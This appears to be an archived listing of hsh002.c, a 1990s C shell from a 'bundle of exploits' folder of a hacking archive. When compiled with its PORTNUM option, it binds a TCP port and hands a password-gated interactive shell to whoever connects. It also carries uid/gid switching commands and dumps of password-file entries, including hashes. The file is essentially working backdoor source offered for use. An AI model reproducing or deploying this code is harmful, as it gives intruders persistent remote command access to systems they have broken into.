home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / hsh002.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  14KB  |  681 lines

  1. /************************************************************************/
  2. /* hsh version 0.02 by Arny - cs6171@scitsc.wlv.ac.uk            */
  3. /* This really isnt completely ready yet, but it should compile with    */
  4. /* ansi compatible compilers (such as gcc) under Linux and SunOS.    */
  5. /* This version now has a password option, a command to get zombies,    */
  6. /* and the displayfile function has been changed so that it works under    */
  7. /* more circumstances, although it is still very badly written. I also    */
  8. /* noticed that version 0.01 wasn't *very* good when run from a "rsh     */
  9. /* host 'sh -i'" session, so fflush(3)'ing is always done now.  Keep an    */
  10. /* eye out for newer versions - there is still much to be done.        */
  11. /* (c) 1994/95 Arny - I accept no responsiblity for anything this does.    */
  12. /************************************************************************/
  13.  
  14. #include<stdio.h>
  15. #include<unistd.h>
  16. #include<fcntl.h>
  17. #include<limits.h>
  18. #include<pwd.h>
  19. #include<sys/types.h>
  20. #include<sys/wait.h>
  21. #include<sys/socket.h>
  22. #include<netdb.h>
  23. #include<netinet/in.h>
  24. #include<arpa/inet.h>
  25.  
  26. #define MAXCOMLEN 1024    /* length of the command line            */
  27. #define MAXARGS 512    /* number of arguments in the command line    */
  28. #define MAXWIDTH 80    /* screen width, used for the 'more' command    */
  29. #define MAXLINES 23    /* screen length                */
  30. #define PROMPT "hsh$ "
  31.  
  32.  
  33. /* if you want I/O to a socket #define PORTNUM to the port number,    */
  34. /* if you dont, dont.                            */
  35.  
  36. /* #define PORTNUM 7890 */
  37.  
  38.  
  39. /* if you want to be asked for a passwd, define PASSWD to the encrypted */
  40. /* passwd (as produced by passwd(1) or crypt(3) ) with double quotes    */
  41.  
  42. /* #define PASSWD "RAMdLCxgo2EFU" */
  43.  
  44.  
  45. /* if you are compiling for linux and you *really* want 'more' to go    */
  46. /* backwards and forwards on single keystrokes #define TTYMANIP, but    */
  47. /* for the sake of reliability and portability I wouldn't recommend it.    */
  48.  
  49. /* #define TTYMANIP */
  50.  
  51. #ifdef TTYMANIP
  52. #include<sys/termio.h>
  53. #endif
  54.  
  55.  
  56. /* end of comments (I dont like them), you're on your own now.....    */
  57.  
  58.  
  59.  
  60. #ifdef PORTNUM
  61. void bulk();
  62. #endif
  63.  
  64. void help();
  65. int commandlinetoagg(char**,char*);
  66. char *procom(char*);
  67. int getargc(char**);
  68. void arnwaitpid(char**);
  69. void arnsetid(char**);
  70. void arnsetgid(char**);
  71. void arnsetpgid(char**);
  72. void arnspawn(char**);
  73. void aswait(char**);
  74. void asbg(char**);
  75. void arnexec(char**);
  76. void cutarg(int,char**);
  77. void displaypinfo();
  78. void displayids();
  79. void displaygids();
  80. void displaypids();
  81. void pwdatanam(char**);
  82. void pwdatauid(char**);
  83. void displayhostinfo(char**);
  84. void dispinetaddr(char*,int);
  85.  
  86. char inbuf[MAXCOMLEN+1];
  87.  
  88. #ifdef PORTNUM
  89. main()
  90. {
  91. int sd,cd,n;
  92. int coninflen=sizeof(struct sockaddr_in);
  93. struct sockaddr_in sa;
  94. struct sockaddr_in coninf;
  95.  
  96. sa.sin_family=AF_INET;
  97. sa.sin_port=htons(PORTNUM);
  98. sa.sin_addr.s_addr=htonl(INADDR_ANY);
  99.  
  100. if((sd=socket(AF_INET,SOCK_STREAM,0))==-1)
  101.     {
  102.     perror("cant create socket");
  103.     exit(1);
  104.     };
  105. if(bind(sd,(struct sockaddr*)&sa,sizeof(sa)))
  106.     {
  107.     perror("cant bind to address");
  108.     exit(1);
  109.     };
  110. if(listen(sd,2))
  111.     {
  112.     perror("error with listen");
  113.     exit(1);
  114.     };
  115. if((cd=accept(sd,(struct sockaddr*)&coninf,&coninflen))<0)
  116.     {
  117.     perror("error with accept");
  118.     exit(1);
  119.     };
  120. close(STDIN_FILENO);
  121. dup(cd);
  122. close(STDOUT_FILENO);
  123. dup(cd);
  124. close(STDERR_FILENO);
  125. dup(cd);
  126. close(cd);
  127. bulk();
  128. close(sd);
  129. }
  130.  
  131. void bulk()
  132.  
  133. #else
  134.  
  135. main()
  136.  
  137. #endif
  138.  
  139. {
  140. char *argv[MAXARGS+1];
  141. #ifdef PASSWD
  142. while(1)
  143.     {
  144.     printf("password: ");
  145.     fflush(stdout);
  146.     if(fgets(inbuf,MAXCOMLEN,stdin)==NULL) exit(0);
  147.     if(!strcmp(crypt(procom(inbuf),PASSWD),PASSWD)) break;
  148.     sleep(1);
  149.     };
  150. #endif
  151. while(1)
  152.     {
  153.     printf(PROMPT);
  154.     fflush(stdout);
  155.     if(fgets(inbuf,MAXCOMLEN,stdin)==NULL) break;
  156.     if(*procom(inbuf)=='\0') continue;
  157.     printf("\"%s\"\n",inbuf);
  158.     fflush(stdout);
  159.     if(commandlinetoagg(argv,inbuf)) continue; 
  160.     if (!strcmp(*argv,"exit")) break;
  161.     else
  162.     if (!strcmp(*argv,"ihelp")) help();
  163.     else
  164.     if (!strcmp(*argv,"imore")) displayfile(argv[1]);
  165.     else
  166.     if (!strcmp(*argv,"cd")) changedir(argv);
  167.     else
  168.     if (!strcmp(*argv,"imkdir")) makedir(argv[1]);
  169.     else
  170.     if (!strcmp(*argv,"ird")) removedir(argv[1]);
  171.     else
  172.     if (!strcmp(*argv,"pwd")) pcwd();
  173.     else
  174.     if (!strcmp(*argv,"ils")) directory(argv);
  175.     else
  176.     if (!strcmp(*argv,"waitpid")) arnwaitpid(argv);
  177.     else
  178.     if (!strcmp(*argv,"setid")) arnsetid(argv);
  179.     else
  180.     if (!strcmp(*argv,"setgid")) arnsetgid(argv);
  181.     else
  182.     if (!strcmp(*argv,"setpgid")) arnsetpgid(argv);
  183.     else
  184.     if (!strcmp(*argv,"pinfo")) displaypinfo();
  185.     else
  186.     if (!strcmp(*argv,"pwdata")) pwdatanam(argv);
  187.     else
  188.     if (!strcmp(*argv,"pwdatauid")) pwdatauid(argv);
  189.     else
  190.     if (!strcmp(*argv,"hinfo")) displayhostinfo(argv);
  191.     else
  192.     if (*argv==NULL);
  193.     else
  194.     arnspawn(argv);
  195.     };
  196. }
  197.  
  198. void help()
  199. {
  200. printf("\ninternal commands recognised are:\n");
  201. printf("\texit, ihelp, imore, cd, imkdir, ird, pwd, ils,\n");
  202. printf("\twaitpid,\n");
  203. printf("\tsetid, setgid, setpgid, pinfo,\n");
  204. printf("\tpwdata, pwdatauid, hinfo.\n\n");
  205. }
  206.  
  207. int commandlinetoagg(char **argv,char *cmdline)
  208. {
  209. int i,argnumber=0,inword=0;
  210. for(i=0;cmdline[i]!='\0';i++)
  211.     {
  212.     if ((cmdline[i]!=' ')&&(!inword))
  213.         {
  214.         argv[argnumber]=(cmdline+i);
  215.         if((++argnumber)>=MAXARGS)
  216.             {
  217.             printf("too many arguments\n");
  218.             *argv=NULL;
  219.             return(1);
  220.             };
  221.         inword=1;
  222.         };
  223.     if (cmdline[i]==' ')
  224.         {
  225.         cmdline[i]='\0';
  226.         inword=0;
  227.         };
  228.     };
  229. argv[argnumber]=NULL;
  230. return(0);
  231. }
  232.  
  233. char *procom(char *astring)
  234. {
  235. int i;
  236. for(i=0;astring[i]!='\0';i++)
  237.     {
  238.     if(astring[i]=='\r') astring[i]='\0';
  239.     if(astring[i]=='\n') astring[i]='\0';
  240.     };
  241. return(astring);
  242. }
  243.  
  244. changedir(char **argv)
  245. {
  246. if (getargc(argv)!=2)
  247.     {
  248.     printf("usage: %s path\n",*argv);
  249.     return(1);
  250.     };
  251. if (chdir(argv[1]))
  252.     {
  253.     perror("error when trying to change directory ");
  254.     return(1);
  255.     };
  256. return(0);
  257. }
  258.  
  259. makedir(char *dirname)
  260. {
  261. printf("sorry, function not written yet....\n");
  262. return(1);
  263. }
  264.  
  265. removedir(char *dirname)
  266. {
  267. printf("sorry, function not written yet....\n");
  268. return(1);
  269. }
  270.  
  271. pcwd()
  272. {
  273. char *achpoint;
  274. achpoint=(char*)getcwd(NULL,800);
  275. printf("%s\n",achpoint);
  276. free(achpoint);
  277. return(0);
  278. }
  279.  
  280. directory(char **argv)
  281. {
  282. printf("sorry, function not written yet....\n");
  283. return(1);
  284. }
  285.  
  286. displayfile(char *filename)
  287. {
  288. char tempch,lines,horizpos;
  289. unsigned char pages;
  290. int tempint;
  291. char keybuf[32];
  292. long pagetable[UCHAR_MAX+1];
  293. FILE *afilepoint;
  294. #ifdef TTYMANIP
  295. struct termio old,new;
  296. if(!isatty(STDIN_FILENO))
  297.     {
  298.     printf("input is not a tty\n");
  299.     return(1);
  300.     };
  301. #endif
  302. if ((afilepoint=fopen(filename,"r"))==NULL)
  303.     {
  304.     printf("error opening file\n");
  305.     return(1);
  306.     };
  307. #ifdef TTYMANIP
  308. if(ioctl(STDIN_FILENO,TCGETA,&old))
  309.     {
  310.     printf("error getting terminal status, too risky to try to change\n");
  311.     return(1);
  312.     };
  313. new=old;
  314. new.c_lflag&=~(ICANON|ECHO);
  315. ioctl(STDIN_FILENO,TCSETA,&new);
  316. #endif
  317. for (tempint=0;tempint<=UCHAR_MAX;tempint++) pagetable[tempint]=0;
  318. pages=0;
  319. lines=0;                                   
  320. horizpos=0;
  321. while ((tempch=getc(afilepoint))!=EOF)
  322.     {
  323.     switch(tempch)
  324.         {
  325.         case 9 : putchar(9);
  326.              horizpos+=((horizpos+7)%8)+1;
  327.              break;
  328.         case 10: printf("\n");
  329.              horizpos=0;
  330.              lines++;
  331.              break;
  332.         default: if ((tempch>31)&&(tempch<127))
  333.                 {
  334.                 putchar(tempch);
  335.                 horizpos++;
  336.                 };
  337.         };
  338.     if (horizpos>=MAXWIDTH)
  339.         {
  340.         horizpos-=MAXWIDTH;
  341.         lines++;
  342.         };
  343.     if (lines>=MAXLINES)
  344.         {
  345.         pages++;
  346.         fflush(stdout);
  347. #ifdef TTYMANIP
  348.         if(read(STDIN_FILENO,keybuf,24)==0) break;
  349.         switch (*keybuf)
  350.             {
  351.             case 'q': ioctl(STDIN_FILENO,TCSETA,&old);
  352.                   fclose(afilepoint);
  353.                   return(1);
  354.             case 'c': ioctl(STDIN_FILENO,TCSETA,&old);
  355.                   fclose(afilepoint);
  356.                   return(1);
  357.             case 'b': printf("\n\n\n");
  358.                   horizpos=0;
  359.                   pages-=2;
  360.                   fseek(afilepoint,pagetable[pages],SEEK_SET);
  361.                   break;
  362.             };
  363. #else
  364.         if(fgets(keybuf,24,stdin)==NULL) break;
  365.         if(*keybuf=='q') break;
  366.         if(*keybuf=='c') break;
  367.         if(*keybuf=='b')
  368.             {
  369.             printf("\n\n\n");
  370.             horizpos=0;
  371.             pages-=2;
  372.             fseek(afilepoint,pagetable[pages],SEEK_SET);
  373.             };
  374. #endif
  375.         pagetable[pages]=ftell(afilepoint);
  376.         lines=0;
  377.         };
  378.     };
  379. #ifdef TTYMANIP
  380. ioctl(STDIN_FILENO,TCSETA,&old);
  381. #endif
  382. fclose(afilepoint);
  383. return(0);
  384. }
  385.  
  386. int getargc(char **argv)
  387. {
  388. int count;
  389. for(count=0;argv[count]!=NULL;count++);
  390. return(count);
  391. }
  392.  
  393. void arnwaitpid(char **argv)
  394. {
  395. int status;
  396. if(getargc(argv)!=2)
  397.     {
  398.     printf("usage: %s pid\n",*argv);
  399.     return;
  400.     };
  401. printf("return value of waitpid=%d\n",waitpid(atoi(argv[1]),&status,WNOHANG));
  402. printf("status=%d\n",status);
  403. }
  404.  
  405. void arnsetid(char **argv)
  406. {
  407. int realid,effid;
  408. displayids();
  409. if (getargc(argv)!=3)
  410.         {
  411.         printf("usage: %s realid effectiveid\n",argv[0]);
  412.         return;
  413.         };
  414. realid=atoi(argv[1]);
  415. effid=atoi(argv[2]);
  416. printf("trying to set:  real id = %d , effective id = %d\n",realid,effid);
  417. if (setreuid(realid,effid))
  418.     {
  419.     printf("failed\n");
  420.     perror("setreuid");
  421.     }
  422. else
  423.     printf("success\n");
  424. displayids();
  425. return;
  426. }
  427.  
  428. void arnsetgid(char **argv)
  429. {
  430. int realgid,effgid;
  431. displaygids();
  432. if (getargc(argv)!=3)
  433.         {
  434.         printf("usage: %s realgid effectivegid\n",argv[0]);
  435.         return;
  436.         };
  437. realgid=atoi(argv[1]);
  438. effgid=atoi(argv[2]);
  439. printf("trying to set:  real gid = %d , effective gid = %d\n",realgid,effgid);
  440. if (setregid(realgid,effgid))
  441.     {
  442.     printf("failed\n");
  443.     perror("setregid");
  444.     }
  445. else
  446.     printf("success\n");
  447. displaygids();
  448. return;
  449. }
  450.  
  451. void arnsetpgid(char **argv)
  452. {
  453. int pid,pgid;
  454. displaypids();
  455. if (getargc(argv)!=3)
  456.         {
  457.         printf("usage: %s pid pgid\n",argv[0]);
  458.         return;
  459.         };
  460. pid=atoi(argv[1]);
  461. pgid=atoi(argv[2]);
  462. printf("trying to set the process group of process %d to %d\n",pid,pgid);
  463. if (setpgid(pid,pgid))
  464.     {
  465.     printf("failed\n");
  466.     perror("setpgid");
  467.     }
  468. else
  469.     printf("success\n");
  470. displaypids();
  471. return;
  472. }
  473.  
  474. void displayids()
  475. {
  476. printf("real uid = %d , effective uid = %d\n",getuid(),geteuid());
  477. }
  478.  
  479. void arnspawn(char **argv)
  480. {
  481. int argcdec;
  482. argcdec=(getargc(argv)-1);
  483. if (strcmp(argv[argcdec],"&")) aswait(argv);
  484. else
  485.     {
  486.     argv[argcdec]=NULL;
  487.     asbg(argv);
  488.     };
  489. }
  490.  
  491. void aswait(char **argv)
  492. {
  493. int childpid,waitstat,waitret;
  494. switch(childpid=fork())
  495.     {
  496.     case -1    : printf("can not fork, :-(\n");
  497.           break;
  498.     case 0    : arnexec(argv);
  499.     default    : printf("program forked, waiting for child process (%d) to exit.....\n",childpid);
  500.           waitret=waitpid(childpid,&waitstat,0);
  501.           printf("return value of wait : %d        wait status : %d\n",waitret,waitstat);
  502.     }
  503. }
  504.  
  505. void asbg(char **argv)
  506. {
  507. int childpid;
  508. switch(childpid=fork())
  509.     {
  510.     case -1 : printf("can not fork, :-(\n");
  511.           break;
  512.     case 0    : arnexec(argv);
  513.     default : printf("program forked, child process id : %d\n",childpid);
  514.           sleep(1);
  515.     }
  516. }
  517.  
  518. void arnexec(char **argv)
  519. {
  520. int x,fdin,fdout,trunc,append;
  521. for(x=1,trunc=1;argv[x]!=NULL;x++) if(!(trunc=(strcmp(argv[x],"<")))) break;
  522. if (!trunc)
  523.     {
  524.     printf("redirecting stdin from filename >%s<\n",argv[x+1]);
  525.     if ((fdin=open(argv[x+1],O_RDONLY))== -1)
  526.         {
  527.         perror("cannot open file");
  528.         printf("cannot open file for stdin, better luck next time ;-)\n");
  529.         exit(1);
  530.         };
  531.     if (close(STDIN_FILENO))
  532.         {
  533.         perror("cannot close");
  534.         printf("sorry but I'm confused again\n");
  535.         exit(1);
  536.         };
  537.     if (dup(fdin)!=STDIN_FILENO)
  538.         {
  539.         printf("something wrong with dup(2), sorry but I'm out a here\n");
  540.         close(fdin);
  541.         exit(1);
  542.         };
  543.     if (close(fdin))
  544.         {
  545.         perror("cannot close");
  546.         printf("sorry but I'm confused again\n");
  547.         exit(1);
  548.         };
  549.     cutarg(x,argv);
  550.     cutarg(x,argv);
  551.     }
  552. for(x=1,trunc=1;argv[x]!=NULL;x++) if(!(trunc=(strcmp(argv[x],">")))) break;
  553. if (trunc) for(x=1,append=1;argv[x]!=NULL;x++) if(!(append=(strcmp(argv[x],">>")))) break;
  554. if ((!trunc)||(!append))
  555.     {
  556.     printf("redirecting stdout to filename >%s<\n",argv[x+1]);
  557.     if ((fdout=open(argv[x+1],O_WRONLY|O_CREAT|(trunc?0:O_TRUNC)|(append?0:O_APPEND),0666))== -1)
  558.         {
  559.         perror("cannot open file");
  560.         printf("cannot open file for stdout, better luck next time ;-)\n");
  561.         exit(1);
  562.         };
  563.     if (close(STDOUT_FILENO))
  564.         {
  565.         perror("cannot close");
  566.         printf("sorry but I'm confused again\n");
  567.         exit(1);
  568.         };
  569.     if (dup(fdout)!= STDOUT_FILENO)
  570.         {
  571.         printf("something wrong with dup(2), sorry but I'm out a here\n");
  572.         close(fdout);
  573.         exit(1);
  574.         };
  575.     if (close(fdout))
  576.         {
  577.         perror("cannot close");
  578.         printf("sorry but I'm confused again\n");
  579.         exit(1);
  580.         };
  581.     cutarg(x,argv);
  582.     cutarg(x,argv);
  583.     };
  584. if ((execvp(argv[0],argv))==-1)
  585.     {
  586.     printf("can not use command, sorry\n");
  587.     exit(1);
  588.     };
  589. printf("whats happened? exec has a strange return value!  I'm confused ;-O\n");
  590. exit(1);
  591. }
  592.  
  593. void cutarg(int x,char **argv)
  594. {
  595. for(;argv[x]!=NULL;x++) argv[x]=argv[x+1];
  596. }
  597.  
  598. void displaypinfo()
  599. {
  600. displayids();
  601. displaygids();
  602. displaypids();
  603. }
  604.  
  605. void displaygids()
  606. {
  607. printf("real group id = %d , effective group id = %d\n",getgid(),getegid());
  608. }
  609.  
  610. void displaypids()
  611. {
  612. printf("pid = %d , parent pid = %d , process group = %d\n",getpid(),getppid(),getpgrp());
  613. }
  614.  
  615. void pwdatanam(char **argv)
  616. {
  617. struct passwd *a;
  618. if(getargc(argv)!=2)
  619.     {
  620.     printf("usage: %s username\n",*argv);
  621.     return;
  622.     };
  623. if((a=getpwnam(argv[1]))==NULL)
  624.     {
  625.     printf("%s: cant get info\n",*argv);
  626.     perror(*argv);
  627.     return;
  628.     };
  629. printf("username=%s passwd=%s uid=%d gid=%d gecos=%s home=%s shell=%s\n",
  630.     a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,a->pw_gecos,a->pw_dir,a->pw_shell);
  631. }
  632.  
  633. void pwdatauid(char **argv)
  634. {
  635. struct passwd *a;
  636. if(getargc(argv)!=2)
  637.     {
  638.     printf("usage: %s uid\n",*argv);
  639.     return;
  640.     };
  641. if((a=getpwuid(atoi(argv[1])))==NULL)
  642.     {
  643.     printf("%s: cant get info\n",*argv);
  644.     perror(*argv);
  645.     return;
  646.     };
  647. printf("username=%s passwd=%s uid=%d gid=%d gecos=%s home=%s shell=%s\n",
  648.     a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,a->pw_gecos,a->pw_dir,a->pw_shell);
  649. }
  650.  
  651. void displayhostinfo(char **argv)
  652. {
  653. int c;
  654. struct hostent *he;
  655. if(getargc(argv)!=2)
  656.     {
  657.     printf("usage: %s hostname\n",*argv);
  658.     return;
  659.     };
  660. if((he=gethostbyname(argv[1]))==NULL)
  661.     {
  662.     printf("%s: error with gethostbyname\n",*argv);
  663.     return;
  664.     };
  665. if(he->h_addrtype!=AF_INET) printf("warning, address returned is a type I dont know of\n");
  666. printf("official name=\"%s\"\n",he->h_name);
  667. printf("length of address=%d\n",he->h_length);
  668. printf("aliases:\n");
  669. for(c=0;he->h_aliases[c]!=NULL;c++) printf("\"%s\"\n",he->h_aliases[c]);
  670. printf("addresses:\n");
  671. for(c=0;he->h_addr_list[c]!=NULL;c++) dispinetaddr(he->h_addr_list[c],he->h_length);
  672. }
  673.  
  674. void dispinetaddr(char *a,int b)
  675. {
  676. int c;
  677. for(c=0;c<b;c++) printf("%u.",(unsigned char)a[c]);
  678. putchar('\n');
  679. }
  680.  
  681.